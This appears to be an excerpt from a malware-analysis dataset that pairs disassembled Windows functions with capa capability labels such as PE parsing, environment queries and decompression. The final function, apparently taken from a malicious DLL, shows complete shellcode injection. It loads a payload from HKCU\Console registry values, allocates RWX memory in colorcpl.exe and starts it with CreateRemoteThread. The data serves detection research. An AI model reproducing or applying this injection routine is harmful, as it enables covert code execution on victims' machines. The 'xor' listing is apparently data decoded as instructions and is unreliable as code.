joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400cc630
Capabilities:
Get user security identifier

Disassembly:
push rsi
push r14
push r15
sub rsp, 0x50
cmp qword [rcx], 0xfffe
mov r14, r9
movzx eax, word [rcx]
mov rsi, r8
mov word [rsp + 0x38], ax
mov r15, rdx
mov word [rsp + 0x3a], ax
mov rax, qword [rcx + 8]
mov qword [rsp + 0x40], rax
jbe 0x1400cc671
mov eax, 0xc0000106
add rsp, 0x50
pop r15
pop r14
pop rsi
ret
mov qword [rsp + 0x80], rbp
call fcn.1400cc350
xor ecx, ecx
lea r9, [rsp + 0x38]
mov qword [rsp + 0x30], rcx
xor edx, edx
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov rcx, rax
lea r8d, [rdx + 1]
call qword [sym.imp.ADVAPI32.dll_LsaLookupNames2]
mov rcx, qword [rsp + 0x70]
mov ebp, eax
test eax, eax
js 0x1400cc777
mov edx, dword [rcx]
sub edx, 7
cmp edx, 1
jbe 0x1400cc772
test r15, r15
je 0x1400cc72e
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x88], rdi
call qword [sym.imp.ntdll.dll_RtlLengthSid]
mov rcx, qword [sym.SHOPMuntukmed.exe_PhHeapHandle]
mov edx, 4
mov r8d, eax
mov ebx, eax
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdx, qword [rsp + 0x70]
mov r8d, ebx
mov rcx, rax
mov rdi, rax
mov rdx, qword [rdx + 8]
call fcn.1400e3970
mov rcx, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov qword [r15], rdi
mov rdi, qword [rsp + 0x88]
test rsi, rsi
je 0x1400cc766
movsxd rax, dword [rcx + 0x10]
test eax, eax
js 0x1400cc759
lea r8, [rax + rax*2]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 8]
movzx edx, word [rcx + r8*8]
mov rcx, qword [rcx + r8*8 + 8]
call sym.SHOPMuntukmed.exe_PhCreateStringEx
jmp 0x1400cc75e
call sym.SHOPMuntukmed.exe_PhReferenceEmptyString
mov rcx, qword [rsp + 0x70]
mov qword [rsi], rax
test r14, r14
je 0x1400cc777
mov eax, dword [rcx]
mov dword [r14], eax
jmp 0x1400cc777
mov ebp, 0xc0000073
mov rax, qword [rsp + 0x30]
test rax, rax
je 0x1400cc78f
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_LsaFreeMemory]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400cc79a
call qword [sym.imp.ADVAPI32.dll_LsaFreeMemory]
mov eax, ebp
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rsi
ret
Function at 0x1400dee10
Capabilities:
Get file attributes
Map section object

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x98
xor ebp, ebp
mov rsi, r9
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0xb0], rbp
test rcx, rcx
jne 0x1400dee44
mov eax, 0xc0000030
add rsp, 0x98
pop rsi
pop rbp
ret
mov qword [rsp + 0x38], rbp
mov rdx, rcx
mov dword [rsp + 0x30], 0x60
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov r8d, 0x1000a1
mov dword [rsp + 0x20], 1
call sym.SHOPMuntukmed.exe_PhCreateFileWin32Ex
test eax, eax
js 0x1400defb1
mov qword [rsp + 0xc0], rbx
lea r8, [rsp + 0x78]
mov qword [rsp + 0x90], rdi
lea rdx, [rsp + 0x68]
mov rdi, qword [rsp + 0x50]
mov r9d, 0x18
mov rcx, rdi
mov dword [rsp + 0x20], 5
call qword [sym.imp.ntdll.dll_NtQueryInformationFile]
mov ecx, eax
mov ebx, eax
test eax, eax
js 0x1400deecd
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb8], rax
test ecx, ecx
js 0x1400def83
mov qword [rsp + 0x30], rdi
lea r9, [rsp + 0xb8]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0xb0]
xor r8d, r8d
mov dword [rsp + 0x20], 0x20
mov edx, 0xf001f
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov ebx, eax
test eax, eax
js 0x1400def83
mov rax, qword [rsp + 0xb8]
lea r8, [rsp + 0x58]
mov rcx, qword [rsp + 0xb0]
xor r9d, r9d
mov dword [rsp + 0x48], 0x20
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x58], rbp
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ebx, eax
test eax, eax
js 0x1400def83
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0xd0]
mov qword [rsi], rax
mov rax, qword [rsp + 0xb8]
mov qword [rdx], rax
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x1400def96
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtClose]
mov rdi, qword [rsp + 0x90]
mov eax, ebx
mov rbx, qword [rsp + 0xc0]
add rsp, 0x98
pop rsi
pop rbp
ret
Function at 0x1400df070
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x170
mov rdi, r8
mov qword [r8], rdx
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], 0
mov r9d, 0x40
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
js 0x1400df1c6
mov eax, 0x5a4d
cmp word [rsp + 0x30], ax
je 0x1400df0c6
mov eax, 0xc000012f
jmp 0x1400df1c6
mov ecx, dword [rsp + 0x6c]
lea eax, [rcx - 1]
cmp eax, 0xffffffe
ja 0x1400df1f3
lea rdx, [rcx + rsi]
mov qword [rsp + 0x188], r14
mov r14d, ecx
mov qword [rsp + 0x20], 0
mov rcx, rbp
lea r8, [rsp + 0x70]
mov r9d, 0xf8
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
js 0x1400df1be
cmp dword [rsp + 0x70], 0x4550
jne 0x1400df155
movzx eax, word [rsp + 0x88]
mov ecx, 0x10b
mov word [rdi + 0x20], ax
sub ax, cx
mov ecx, 0xfeff
test cx, ax
jne 0x1400df155
movzx eax, word [rsp + 0x76]
mov dword [rdi + 0x10], eax
lea edx, [rax + rax*4]
movzx eax, word [rsp + 0x84]
lea edx, [rdx + 3]
lea edx, [rax + rdx*8]
cmp edx, 0x100000
jbe 0x1400df15c
mov eax, 0xc000007b
jmp 0x1400df1be
mov rcx, qword [sym.SHOPMuntukmed.exe_PhHeapHandle]
mov r8d, edx
mov qword [rsp + 0x180], rbx
mov ebx, edx
mov edx, 4
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
lea rdx, [r14 + rsi]
mov qword [rsp + 0x20], 0
mov r8, rax
mov qword [rdi + 8], rax
mov r9d, ebx
mov rcx, rbp
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
mov ebx, eax
test eax, eax
jns 0x1400df1db
mov r8, qword [rdi + 8]
xor edx, edx
mov rcx, qword [sym.SHOPMuntukmed.exe_PhHeapHandle]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, ebx
mov rbx, qword [rsp + 0x180]
mov r14, qword [rsp + 0x188]
lea r11, [rsp + 0x170]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
movzx ecx, word [rsp + 0x84]
add rcx, 0x18
add rcx, qword [rdi + 8]
mov qword [rdi + 0x18], rcx
xor eax, eax
jmp 0x1400df1b6
mov eax, 0xc000007b
jmp 0x1400df1c6
Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x140001ea4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001eee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001eee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001eee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001eee
cmp dword [rcx + 0x84], 0xe
jbe 0x140001eee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ef0
xor al, al
add rsp, 0x28
ret

Function at 0x140005c18
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140005a83
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005a83
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005a83
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005a83
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005a83
cmp dword [rcx + 0x84], 0xe
jbe 0x140005a83
cmp dword [rcx + 0xf8], 0
je 0x140005a83
mov ecx, ebx
call fcn.140005b34
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005910
nop
cmp dword [rbp + 0x20], 0
je 0x140005ad1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005adc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140005a14
Function at 0x14000e0a4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000e0d4
xor eax, eax
jmp 0x14000e197
mov rbp, rbx
cmp word [rax], si
je 0x14000e0f9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000e0e0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000e0dc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000dfc4
movsxd r14, eax
test eax, eax
jne 0x14000e137
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000e0cd
mov rcx, r14
call fcn.14000aec4
mov rdi, rax
test rax, rax
jne 0x14000e150
xor ecx, ecx
call fcn.140009e88
jmp 0x14000e12c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000dfc4
test eax, eax
jne 0x14000e181
mov rcx, rdi
call fcn.140009e88
jmp 0x14000e18b
xor ecx, ecx
call fcn.140009e88
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14000e1b4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000e23b
mov rsi, rbx
cmp word [rax], bp
je 0x14000e1fa
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000e1e4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000e1e0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000aec4
mov rdi, rax
test rax, rax
je 0x14000e228
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140016ac0
mov rbp, rdi
xor ecx, ecx
call fcn.140009e88
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140012e34
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000ad38
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140012ebe
cmp byte [rbp - 0x21], r15b
je 0x140012eb9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140012ef4
call fcn.14000f470
test eax, eax
jne 0x140012ee0
cmp byte [rbp - 0x21], r15b
je 0x140012ed8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140012ef4
cmp byte [rbp - 0x21], r15b
je 0x140012ef1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000abbc
test eax, eax
jne 0x140012f94
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000ad38
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140012f33
cmp byte [rbp - 0x21], r15b
je 0x140012f68
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012f68
call fcn.14000f470
test eax, eax
jne 0x140012f54
cmp byte [rbp - 0x21], r15b
je 0x140012f4d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012f68
cmp byte [rbp - 0x21], r15b
je 0x140012f65
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000abbc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140012f94
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140012f97
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140012fa5
mov rcx, rdi
call fcn.140009e88
cmp byte [rbp + 0x3f], r15b
je 0x140012fb4
mov rcx, qword [rbp + 0x27]
call fcn.140009e88
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400162b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400162d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400162d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001b7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bc6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bc6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bc6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bc6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bc6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bc8
xor al, al
add rsp, 0x28
ret

Function at 0x180916108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x18091628f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180916139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18091611f
add dl, dl
jne 0x180916146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1809161a6
xor eax, eax
add dl, dl
jne 0x180916155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18091625d
add dl, dl
jne 0x180916166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180916173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180916180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18091618d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18091619a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18091612e
mov eax, 1
add dl, dl
jne 0x1809161b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1809161c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1809161ab
sub eax, ebx
mov ebx, 1
jne 0x1809161fc
mov ecx, 1
add dl, dl
jne 0x1809161de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1809161eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1809161d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18091612e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180916218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180916225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18091620d
cmp eax, 0x7d00
jae 0x18091624b
cmp eax, 0x500
jb 0x180916246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18091612e
cmp eax, 0x7f
ja 0x18091624e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18091612e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180916282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18091612e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001000
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x260
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180001050
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.180001660
lea rdx, str.Failed_to_create_process_snapshot:__d_n
lea rcx, [rax + 0x60]
mov r8d, ebx
call fcn.180001514
xor eax, eax
add rsp, 0x260
pop rbx
ret
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [rsp + 0x270], rdi
xor edi, edi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18000109d
nop dword [rax]
lea rdx, [rsp + 0x4c]
lea rcx, str.colorcpl.exe
call fcn.18000148c
test eax, eax
je 0x180001099
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180001070
jmp 0x18000109d
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rdi, qword [rsp + 0x270]
add rsp, 0x260
pop rbx
ret
Function at 0x1800010c0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate gui resources
Execute shellcode via windows callback function
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x58
nop word [rax + rax]
lea rcx, [0x180001270]
xor edx, edx
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x1800010d0
lea rax, [rsp + 0x68]
lea rdx, str.Console
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180001262
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x50], rbp
lea rax, [rsp + 0x60]
xor ebp, ebp
lea rdx, str.qweasd321zxc
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x60], ebp
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x40], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180001169
mov ecx, dword [rsp + 0x60]
call fcn.1800015a8
lea rdx, str.qweasd321zxc
jmp 0x1800011a8
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
lea rdx, str.qweasd123zxc
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180001243
mov ecx, dword [rsp + 0x60]
call fcn.1800015a8
lea rdx, str.qweasd123zxc
mov rcx, qword [rsp + 0x68]
mov rsi, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180001243
call fcn.180001000
mov edx, 1
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x60]
mov r9d, 0x3000
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x60]
mov r8, rsi
mov rcx, rdi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x70]
add rsp, 0x58
ret